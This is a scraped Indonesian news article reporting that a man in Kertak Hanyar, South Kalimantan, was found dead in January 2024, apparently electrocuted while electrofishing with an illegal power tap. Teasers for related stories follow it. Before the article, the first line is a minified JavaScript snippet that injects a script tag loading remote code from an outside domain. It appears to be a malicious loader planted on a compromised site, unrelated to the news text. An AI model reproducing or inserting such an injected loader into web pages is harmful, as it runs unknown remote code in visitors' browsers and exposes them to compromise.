(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Warga sekitar perbatasan Jalan Ahmad Yani Kilometer 6 Kertak Hanyar-Kota Banjarmasin dikejutkan dengan penemuan seorang lelaki tergeletak di bawah jembatan, Kamis (4/1/2024) pagi.
Lelaki yang tak mengenakan baju dan bertato bernama Amat alias Bandit (40) itu ditemukan sudah dalam kondisi tak bernyawa tepat di pinggir sungai Jalan A Yani wilayah Kecamatan Kertak Hanyar Kabupaten Banjar.
Tak ada luka-luka yang ditemukan di tubuh Amat. Namun, sebuah bilah panjang yang di ujungnya ada sekrup berbahan besi dan dilengkapi dengan kabel panjang ditemukan di dekat tubuhnya.
Barang-barang tersebut adalah alat tangkap setrum ikan dengan menggunakan aliran listrik.
Baca juga: BREAKING NEWS. Seorang Lelaki Tergeletak Tak Bernyawa di Jalan A Yani Km 6
Hasnan (40) salah seorang sopir angkot di sekitar lokasi kejadian mengaku sudah sering melihat Amat mencari ikan menggunakan alat tangkap setrum.
“Dia (korban) yang biasa nyetrum (ikan) di sini,” kata Hasnan ditemui di lokasi kejadian sekitar Jalan Ahmad Yani Kilometer 6.
Hasnan mengaku melihat Amat sudah dalam kondisi tergeletak. Tak jauh dari jasad Amat ada alat tangkap ikan dan kabel panjang berwana hitam menyeberang mengarah ke titik aliran listrik sekitar jembatan.
Sopir angkot ini mengaku sempat mengamankan alat tangkap setrum ikan yang ada di sekitar tubuh Amat.
Baca juga: Tak Bisa Dilepas, Yuyuh Harus Rela Cincinnya Dipotong
“Waktu polisi datang kita serahkan alatnya,” ujar Hasnan.
Sementara itu, Tim Leader Keselamatan Kerja PLN Ahmad Yani, Budiansyah mengatakan, hasil dari pemeriksaan pihaknya tidak ditemukan kebocoran pada sambungan listrik milik PLN di sekitar lokasi kejadian.
Namun, pihaknya menduga aliran listrik yang digunakan korban untuk menyetrum ikan berasal dari instalasi listrik hotel yang tersambung ke lampu di pinggir jalan.
Baca juga: Banjir di Barabai, BPBD Kalsel Kirim Bantuan Logistik ke HST
“Ada dua kemungkinan, lampu dari hotel atau dari sambungan liar,” katanya.
Terpisah, Kapolsek Kertak Hanyar, Iptu Sutikno melalu Kasi Humas Polres Banjar AKP H Suwarji membenarkan peristiwa penemuan mayat di perbatasan wilayah Kertak Hanyar Kabupaten Banjar dengan Kota Banjarmasin tersebut.
Amat disebut merupakan warga yang sehari-hari bekerja sebagai tukang parkir di Jalan Ahmad Yani Kilometer 7 Kertak Hanyar.
Setelah mendapat laporan dari warga sekitar pukul 08.00 Wita, kepolisian dan tim Inavis sebelumnya langsung mendatangi lokasi kejadian.
Baca juga: Batas Akhir 8 Januari Bangunan Liar di Trikora Harus Dibongkar
Di lokasi kejadian, kata AKP Suwarji, barang bukti yang berhasil dikumpulkan yaitu alat penangkap ikan yang dihubungkan dengan kabel listrik sepanjang 3 meter dan kabel listrik sepanjang 15 meter. Kemudian sekor ikan nila diduga hasil tangkapan korban.
“Pihak kepolisian akan melakukan penyelidikan lebih lanjut untuk mengungkap penyebab kematian korban dan memastikan apakah ada unsur pidana terkait pengambilan aliran listrik untuk menyetrum ikan,” pungkasnya. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More
KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More
This website uses cookies.